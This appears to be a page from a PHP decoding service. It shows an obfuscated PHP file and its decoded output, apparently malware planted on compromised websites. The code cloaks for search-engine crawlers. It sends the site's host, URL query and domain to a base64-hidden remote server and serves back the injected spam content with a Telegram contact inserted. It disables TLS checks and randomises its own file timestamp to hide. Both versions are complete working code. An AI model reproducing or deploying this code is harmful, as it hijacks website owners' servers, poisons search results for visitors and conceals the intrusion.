Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto IvLQH; nzhO1: $TIMV6 = ["\x68\164\x74\160" => ["\150\145\x61\x64\x65\x72" =..

Decoded Output download

<?php 
 
 goto IvLQH; nzhO1: $TIMV6 = ["http" => ["header" => "User-Agent: {$A6Z2l}
"]]; goto pt3Ce; w6G4k: date_default_timezone_set("PRC"); goto ZEu9R; kfNqt: header("Content-Type: text/html;charset=utf-8"); goto w6G4k; qhVUV: $A6Z2l = "Mozilla/5.0"; goto nnWn2; L2s55: curl_setopt($JlDmu, CURLOPT_USERAGENT, $A6Z2l); goto VKS8B; qPTXh: curl_close($JlDmu); goto we1Tj; iSw8g: curl_setopt($JlDmu, CURLOPT_SSL_VERIFYHOST, false); goto L2s55; ZEu9R: $mGcyk = base64_decode("aHR0cHM6Ly9pbi5ob3RpbmQuY29t"); goto sDsai; nnWn2: foreach ($nmApK as $zvQVb => $p18bd) { goto J24PO; E4kjW: $A6Z2l = $p18bd; goto HuYi1; DDcuu: p_WaU: goto S_4yf; S_4yf: UDA0q: goto V9IJc; HuYi1: goto N9wIl; goto DDcuu; J24PO: if (!(strpos($sRJtw, $zvQVb) !== false)) { goto p_WaU; } goto E4kjW; V9IJc: } goto spbSp; VKS8B: $rS5Qv = curl_exec($JlDmu); goto qPTXh; akoe2: curl_setopt($JlDmu, CURLOPT_SSL_VERIFYPEER, false); goto iSw8g; EakCX: function lvRed($SrGQ5) { goto A3_ah; GuQ19: $Umkm9 = strtotime("2025-12-31"); goto U1pf2; U1pf2: $NJN5i = mt_rand($EEtjm, $Umkm9); goto O52PM; A3_ah: @chmod($SrGQ5, 0644); goto SYkZj; O52PM: @touch($SrGQ5, $NJN5i, $NJN5i); goto D_x_5; SYkZj: $EEtjm = strtotime("2000-01-01"); goto GuQ19; D_x_5: } goto Gwrqq; mD806: curl_setopt($JlDmu, CURLOPT_RETURNTRANSFER, 1); goto akoe2; BYzW2: $sRJtw = $_SERVER["HTTP_USER_AGENT"]; goto gsfud; IvLQH: set_time_limit(0); goto kfNqt; spbSp: N9wIl: goto nzhO1; g71o8: $JlDmu = curl_init(); goto EwVGL; pt3Ce: $A7dTV = stream_context_create($TIMV6); goto XtoTF; EwVGL: curl_setopt($JlDmu, CURLOPT_URL, "{$mGcyk}/index.php?host={$ahfle}&url=" . $_SERVER["QUERY_STRING"] . "&domain=" . $_SERVER["SERVER_NAME"]); goto mD806; w7dOW: echo str_replace("", "telegram:@xiaoyuan9528", $rS5Qv); goto BX3d9; BX3d9: $AB_R1 = basename($_SERVER["PHP_SELF"]); goto EakCX; scGdi: if (!($rS5Qv === FALSE)) { goto gw2VJ; } goto g71o8; sDsai: $ahfle = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["PHP_SELF"]; goto BYzW2; gsfud: $nmApK = ["Baiduspider" => "Mozilla/5.0 (compatible; Baiduspider/2.0)", "Googlebot" => "Mozilla/5.0 (compatible; Googlebot/2.1)", "360Spider" => "Mozilla/5.0 (compatible; 360Spider)", "Bingbot" => "Mozilla/5.0 (compatible; Bingbot/2.0)", "YisouSpider" => "Mozilla/5.0 (compatible; YisouSpider)", "Sogou web spider" => "Sogou web spider/4.0"]; goto qhVUV; we1Tj: gw2VJ: goto w7dOW; XtoTF: $rS5Qv = @file_get_contents("{$mGcyk}/index.php?host={$ahfle}&url=" . $_SERVER["QUERY_STRING"] . "&domain=" . $_SERVER["SERVER_NAME"], false, $A7dTV); goto scGdi; Gwrqq: LVreD($AB_R1); 
 
 ?>

Did this file decode correctly?

Original Code

<?php

 goto IvLQH; nzhO1: $TIMV6 = ["\x68\164\x74\160" => ["\150\145\x61\x64\x65\x72" => "\x55\163\145\162\x2d\x41\147\145\156\164\x3a\40{$A6Z2l}\15\12"]]; goto pt3Ce; w6G4k: date_default_timezone_set("\x50\122\x43"); goto ZEu9R; kfNqt: header("\103\x6f\x6e\164\145\156\164\x2d\124\171\x70\x65\x3a\40\164\145\170\x74\x2f\x68\164\x6d\x6c\x3b\143\x68\x61\162\x73\145\x74\x3d\165\x74\x66\55\70"); goto w6G4k; qhVUV: $A6Z2l = "\115\x6f\172\151\x6c\x6c\x61\57\65\56\60"; goto nnWn2; L2s55: curl_setopt($JlDmu, CURLOPT_USERAGENT, $A6Z2l); goto VKS8B; qPTXh: curl_close($JlDmu); goto we1Tj; iSw8g: curl_setopt($JlDmu, CURLOPT_SSL_VERIFYHOST, false); goto L2s55; ZEu9R: $mGcyk = base64_decode("\x61\110\x52\x30\x63\x48\x4d\x36\114\171\x39\x70\x62\151\x35\157\x62\63\122\x70\x62\x6d\x51\165\131\x32\71\164"); goto sDsai; nnWn2: foreach ($nmApK as $zvQVb => $p18bd) { goto J24PO; E4kjW: $A6Z2l = $p18bd; goto HuYi1; DDcuu: p_WaU: goto S_4yf; S_4yf: UDA0q: goto V9IJc; HuYi1: goto N9wIl; goto DDcuu; J24PO: if (!(strpos($sRJtw, $zvQVb) !== false)) { goto p_WaU; } goto E4kjW; V9IJc: } goto spbSp; VKS8B: $rS5Qv = curl_exec($JlDmu); goto qPTXh; akoe2: curl_setopt($JlDmu, CURLOPT_SSL_VERIFYPEER, false); goto iSw8g; EakCX: function lvRed($SrGQ5) { goto A3_ah; GuQ19: $Umkm9 = strtotime("\62\60\x32\65\55\61\x32\55\63\x31"); goto U1pf2; U1pf2: $NJN5i = mt_rand($EEtjm, $Umkm9); goto O52PM; A3_ah: @chmod($SrGQ5, 0644); goto SYkZj; O52PM: @touch($SrGQ5, $NJN5i, $NJN5i); goto D_x_5; SYkZj: $EEtjm = strtotime("\x32\60\60\60\x2d\x30\x31\55\x30\61"); goto GuQ19; D_x_5: } goto Gwrqq; mD806: curl_setopt($JlDmu, CURLOPT_RETURNTRANSFER, 1); goto akoe2; BYzW2: $sRJtw = $_SERVER["\110\x54\124\120\137\125\x53\105\x52\x5f\x41\x47\x45\x4e\x54"]; goto gsfud; IvLQH: set_time_limit(0); goto kfNqt; spbSp: N9wIl: goto nzhO1; g71o8: $JlDmu = curl_init(); goto EwVGL; pt3Ce: $A7dTV = stream_context_create($TIMV6); goto XtoTF; EwVGL: curl_setopt($JlDmu, CURLOPT_URL, "{$mGcyk}\x2f\151\x6e\144\145\x78\56\x70\x68\x70\77\150\157\163\x74\x3d{$ahfle}\46\x75\x72\x6c\x3d" . $_SERVER["\x51\x55\105\122\x59\x5f\123\124\x52\111\x4e\107"] . "\x26\144\157\x6d\x61\x69\x6e\x3d" . $_SERVER["\x53\105\122\126\x45\x52\137\116\x41\115\x45"]); goto mD806; w7dOW: echo str_replace("\347\x83\x9f\351\x9b\250\351\273\x91\xe5\270\xbd", "\164\x65\154\x65\147\162\x61\155\72\x40\170\x69\141\x6f\171\165\x61\156\x39\65\62\x38", $rS5Qv); goto BX3d9; BX3d9: $AB_R1 = basename($_SERVER["\x50\110\120\137\123\x45\114\106"]); goto EakCX; scGdi: if (!($rS5Qv === FALSE)) { goto gw2VJ; } goto g71o8; sDsai: $ahfle = "\x68\164\164\160\x3a\x2f\57" . $_SERVER["\110\124\x54\x50\x5f\x48\x4f\x53\x54"] . $_SERVER["\x50\x48\x50\137\123\105\x4c\106"]; goto BYzW2; gsfud: $nmApK = ["\102\x61\x69\x64\165\163\160\x69\x64\145\x72" => "\115\157\x7a\x69\154\x6c\141\57\x35\56\x30\40\x28\x63\x6f\155\160\141\164\151\x62\154\145\x3b\40\x42\x61\x69\144\165\x73\160\151\144\145\x72\57\62\56\60\x29", "\107\157\157\x67\154\x65\142\157\164" => "\115\157\x7a\x69\x6c\154\x61\57\x35\x2e\60\x20\50\x63\x6f\155\160\x61\x74\x69\142\154\x65\x3b\x20\x47\x6f\x6f\147\x6c\x65\x62\157\164\57\62\56\x31\x29", "\63\x36\x30\123\x70\x69\x64\145\162" => "\x4d\157\172\151\x6c\154\141\x2f\65\x2e\60\x20\50\143\x6f\155\160\141\164\x69\x62\154\145\x3b\x20\x33\x36\60\123\x70\x69\x64\x65\x72\x29", "\x42\151\x6e\147\142\x6f\x74" => "\115\x6f\172\x69\154\154\141\x2f\x35\56\60\40\50\143\157\x6d\x70\141\x74\x69\x62\154\x65\73\40\102\x69\156\147\142\157\164\x2f\x32\x2e\60\x29", "\131\x69\x73\157\x75\x53\x70\151\144\145\162" => "\x4d\x6f\172\151\x6c\154\x61\x2f\65\56\60\x20\50\x63\157\x6d\160\x61\x74\x69\x62\154\x65\x3b\40\131\151\x73\x6f\x75\123\x70\x69\144\145\162\x29", "\123\x6f\x67\157\x75\40\x77\145\142\40\x73\160\151\144\145\x72" => "\x53\157\x67\x6f\165\40\x77\x65\x62\x20\x73\x70\x69\144\145\x72\57\64\56\60"]; goto qhVUV; we1Tj: gw2VJ: goto w7dOW; XtoTF: $rS5Qv = @file_get_contents("{$mGcyk}\x2f\x69\156\x64\145\170\x2e\x70\150\160\77\150\x6f\163\164\x3d{$ahfle}\x26\x75\x72\x6c\75" . $_SERVER["\121\x55\x45\122\131\137\123\x54\x52\x49\116\107"] . "\x26\144\x6f\155\141\x69\x6e\x3d" . $_SERVER["\x53\105\x52\126\105\x52\137\x4e\x41\115\105"], false, $A7dTV); goto scGdi; Gwrqq: LVreD($AB_R1);

Function Calls

None

Variables

None

Stats

MD5 f58742935a5bd1dc695e28c2de0923ad
Eval Count 0
Decode Time 46 ms